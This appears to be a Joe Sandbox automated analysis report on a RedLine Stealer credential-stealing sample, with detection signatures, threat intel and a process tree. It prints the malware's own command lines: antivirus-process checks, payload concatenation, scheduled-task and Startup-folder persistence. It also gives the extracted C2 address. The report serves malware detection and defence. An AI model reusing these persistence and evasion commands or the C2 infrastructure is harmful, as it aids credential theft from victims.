Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe

Overview

General Information

Sample name:e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe
Analysis ID:1502159
MD5:db2a12edc73769f2f2b6b01545afe2c3
SHA1:73dc44fb0753296f51b851299f468031ceb77b54
SHA256:e6db7d34b498982601b2c45ac5b2a1c1b9502e502514ccffae9862f2aa719f42
Tags:exeRedLineStealer
Infos:

Detection

RedLine
Score:100
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Found malware configuration
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Sigma detected: Drops script at startup location
Yara detected RedLine Stealer
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Drops PE files with a suspicious file extension
Injects a PE file into a foreign processes
Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
Sigma detected: WScript or CScript Dropper
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses schtasks.exe or at.exe to add and modify task schedules
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript called in batch mode (surpress errors)
Abnormal high CPU Usage
Allocates memory with a write watch (potentially for evading sandboxes)
Contains functionality for read data from the clipboard
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Dropped file seen in connection with other malware
Drops PE files
Enables debug privileges
Enables security privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Installs a raw input device (often for capturing keystrokes)
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Execution of Suspicious File Type Extension
Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
Sigma detected: Suspicious Schtasks From Env Var Folder
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Sleep loop found (likely to delay execution)
Stores files to the Windows start menu directory
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Uses 32bit PE files
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

  • System is w10x64
  • e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe (PID: 7308 cmdline: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe" MD5: DB2A12EDC73769F2F2B6B01545AFE2C3)
    • cmd.exe (PID: 7344 cmdline: "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • conhost.exe (PID: 7352 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • tasklist.exe (PID: 7396 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 7404 cmdline: findstr /I "wrsa opssvc" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • tasklist.exe (PID: 7440 cmdline: tasklist MD5: 0A4448B31CE7F83CB7691A2657F330F1)
      • findstr.exe (PID: 7448 cmdline: findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth" MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • cmd.exe (PID: 7492 cmdline: cmd /c md 684126 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • findstr.exe (PID: 7508 cmdline: findstr /V "VegetablesIndividualBindingGba" Ever MD5: F1D4BE0E99EC734376FDE474A8D4EA3E)
      • cmd.exe (PID: 7524 cmdline: cmd /c copy /b ..\Wire + ..\Qualified + ..\Manufacturers + ..\Wesley + ..\Haiti + ..\Done + ..\Drop + ..\Runner + ..\Defend + ..\Judy + ..\Dow C MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
      • Intake.pif (PID: 7544 cmdline: Intake.pif C MD5: 18CE19B57F43CE0A5AF149C96AECC685)
        • cmd.exe (PID: 7580 cmdline: cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 7588 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
          • schtasks.exe (PID: 7628 cmdline: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F MD5: 48C2FE20575769DE916F48EF0676A965)
        • cmd.exe (PID: 7644 cmdline: cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & echo URL="C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url" & exit MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)
          • conhost.exe (PID: 7652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • RegAsm.exe (PID: 5460 cmdline: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)
          • conhost.exe (PID: 1060 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • RegAsm.exe (PID: 6404 cmdline: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)
        • RegAsm.exe (PID: 6588 cmdline: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)
        • RegAsm.exe (PID: 6612 cmdline: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe MD5: 0D5DF43AF2916F47D00C1573797C1A13)
          • conhost.exe (PID: 7124 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • choice.exe (PID: 7560 cmdline: choice /d y /t 5 MD5: FCE0E41C87DC4ABBE976998AD26C27E4)
  • wscript.exe (PID: 7692 cmdline: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • TurtleHarbor.pif (PID: 7732 cmdline: "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • wscript.exe (PID: 7836 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)
    • TurtleHarbor.pif (PID: 7876 cmdline: "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pif" "C:\Users\user\AppData\Local\SecureData Technologies\Y" MD5: 18CE19B57F43CE0A5AF149C96AECC685)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
RedLine StealerRedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["45.200.149.147:27667"], "Bot Id": "button1"}

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
Process Memory Space: RegAsm.exe PID: 5460JoeSecurity_RedLineYara detected RedLine StealerJoe Security

    Sigma Signatures

    System Summary

    barindex
    Sigma detected: Bad Opsec Defaults Sacrificial Processes With Improper Arguments
    Source: Process startedAuthor: Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth (Nextron Systems), Christian Burkard (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, ParentCommandLine: Intake.pif C, ParentImage: C:\Users\user\AppData\Local\Temp\684126\Intake.pif, ParentProcessId: 7544, ParentProcessName: Intake.pif, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, ProcessId: 5460, ProcessName: RegAsm.exe
    Sigma detected: Suspicious Command Patterns In Scheduled Task Creation
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, ProcessId: 7628, ProcessName: schtasks.exe
    Sigma detected: WScript or CScript Dropper
    Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", ProcessId: 7692, ProcessName: wscript.exe
    Sigma detected: Execution of Suspicious File Type Extension
    Source: Process startedAuthor: Max Altgelt (Nextron Systems): Data: Command: Intake.pif C, CommandLine: Intake.pif C, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\684126\Intake.pif, NewProcessName: C:\Users\user\AppData\Local\Temp\684126\Intake.pif, OriginalFileName: C:\Users\user\AppData\Local\Temp\684126\Intake.pif, ParentCommandLine: "C:\Windows\System32\cmd.exe" /k move Luck Luck.bat & Luck.bat & exit, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7344, ParentProcessName: cmd.exe, ProcessCommandLine: Intake.pif C, ProcessId: 7544, ProcessName: Intake.pif
    Sigma detected: Potentially Suspicious Execution Of Regasm/Regsvcs From Uncommon Location
    Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, CommandLine: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, NewProcessName: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, OriginalFileName: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, ParentCommandLine: Intake.pif C, ParentImage: C:\Users\user\AppData\Local\Temp\684126\Intake.pif, ParentProcessId: 7544, ParentProcessName: Intake.pif, ProcessCommandLine: C:\Users\user\AppData\Local\Temp\684126\RegAsm.exe, ProcessId: 5460, ProcessName: RegAsm.exe
    Sigma detected: Suspicious Schtasks From Env Var Folder
    Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, CommandLine: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, CommandLine|base64offset|contains: j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: cmd /c schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7580, ParentProcessName: cmd.exe, ProcessCommandLine: schtasks.exe /create /tn "Additionally" /tr "wscript //B 'C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js'" /sc minute /mo 5 /F, ProcessId: 7628, ProcessName: schtasks.exe
    Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
    Source: Process startedAuthor: Michael Haag: Data: Command: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", CommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1044, ProcessCommandLine: C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.js", ProcessId: 7692, ProcessName: wscript.exe

    Data Obfuscation

    barindex
    Sigma detected: Drops script at startup location
    Source: File createdAuthor: Joe Security: Data: EventID: 11, Image: C:\Windows\SysWOW64\cmd.exe, ProcessId: 7644, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\TurtleHarbor.url

    Suricata Signatures

    ⊘No Suricata rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Found malware configuration
    Source: 26.2.RegAsm.exe.1100000.0.unpackMalware Configuration Extractor: RedLine {"C2 url": ["45.200.149.147:27667"], "Bot Id": "button1"}
    Multi AV Scanner detection for dropped file
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifVirustotal: Detection: 8%Perma Link
    Source: C:\Users\user\AppData\Local\Temp\684126\Intake.pifVirustotal: Detection: 8%Perma Link
    Multi AV Scanner detection for submitted file
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeReversingLabs: Detection: 39%
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeVirustotal: Detection: 35%Perma Link
    AI detected suspicious sample
    Source: Submited SampleIntegrated Neural Analysis Model: Matched 99.7% probability
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
    Source: Binary string: RegAsm.pdb source: RegAsm.exe, 0000001A.00000000.3138021219.0000000000CC2000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.10.dr
    Source: Binary string: RegAsm.pdb4 source: RegAsm.exe, 0000001A.00000000.3138021219.0000000000CC2000.00000002.00000001.01000000.00000009.sdmp, RegAsm.exe.10.dr
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00405B98 FindFirstFileW,FindClose,0_2_00405B98
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_00406559 DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00406559
    Source: C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeCode function: 0_2_004029F1 FindFirstFileW,0_2_004029F1
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00374005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00374005
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,18_2_0037C2FF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037494A GetFileAttributesW,FindFirstFileW,FindClose,18_2_0037494A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037CD14 FindFirstFileW,FindClose,18_2_0037CD14
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,18_2_0037CD9F
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,18_2_0037F5D8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,18_2_0037F735
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_0037FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,18_2_0037FA36
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_00373CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,18_2_00373CE2
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00374005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,20_2_00374005
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,20_2_0037C2FF
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037494A GetFileAttributesW,FindFirstFileW,FindClose,20_2_0037494A
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037CD14 FindFirstFileW,FindClose,20_2_0037CD14
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,20_2_0037CD9F
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,20_2_0037F5D8
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,20_2_0037F735
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_0037FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,20_2_0037FA36
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 20_2_00373CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,20_2_00373CE2
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\684126\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\Jump to behavior
    Source: C:\Windows\SysWOW64\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\684126Jump to behavior

    Networking

    barindex
    C2 URLs / IPs found in malware configuration
    Source: Malware configuration extractorURLs: 45.200.149.147:27667
    Source: unknownDNS traffic detected: query: CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkN replaycode: Name error (3)
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: C:\Users\user\AppData\Local\SecureData Technologies\TurtleHarbor.pifCode function: 18_2_003829BA InternetReadFile,InternetQueryDataAvailable,InternetReadFile,18_2_003829BA
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003107000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.00000000028E7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: $^q3IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\^q equals www.youtube.com (Youtube)
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003107000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.00000000028E7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003107000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.00000000028E7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: IndexedDB\https_www.youtube.com_0.indexeddb.leveldb@\^q equals www.youtube.com (Youtube)
    Source: RegAsm.exe, 0000001A.00000002.3204845308.0000000003107000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 0000001F.00000002.3855499519.00000000028E7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: `,^q#www.youtube.com_0.indexeddb.leveldb equals www.youtube.com (Youtube)
    Source: global trafficDNS traffic detected: DNS query: CvcMEMMQKdoWtsiZdkN.CvcMEMMQKdoWtsiZdkN
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://crl.globalsign.net/root-r3.crl0
    Source: e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://ocsp2.globalsign.com/gscodesignsha2g30V
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://ocsp2.globalsign.com/gstimestampingsha2g20
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://ocsp2.globalsign.com/rootr306
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://secure.globalsign.com/cacert/gscodesignsha2g3ocsp.crt08
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://secure.globalsign.com/cacert/gstimestampingsha2g2.crt0
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
    Source: Intake.pif, 0000000A.00000003.1676899367.0000000003736000.00000004.00000800.00020000.00000000.sdmp, Intake.pif, 0000000A.00000000.1669006674.0000000000E99000.00000002.00000001.01000000.00000005.sdmp, TurtleHarbor.pif, 00000012.00000000.1688045792.00000000003D9000.00000002.00000001.01000000.00000008.sdmp, TurtleHarbor.pif, 00000014.00000000.1798912259.00000000003D9000.00000002.00000001.01000000.00000008.sdmp, Nevertheless.0.dr, TurtleHarbor.pif.10.dr, Intake.pif.1.drString found in binary or memory: http://www.autoitscript.com/autoit3/J
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.carterandcone.coml
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/?
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers8
    Source: RegAsm.exe, 0000001A.00000002.3208069125.0000000007282000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.fontbureau.com/designers?
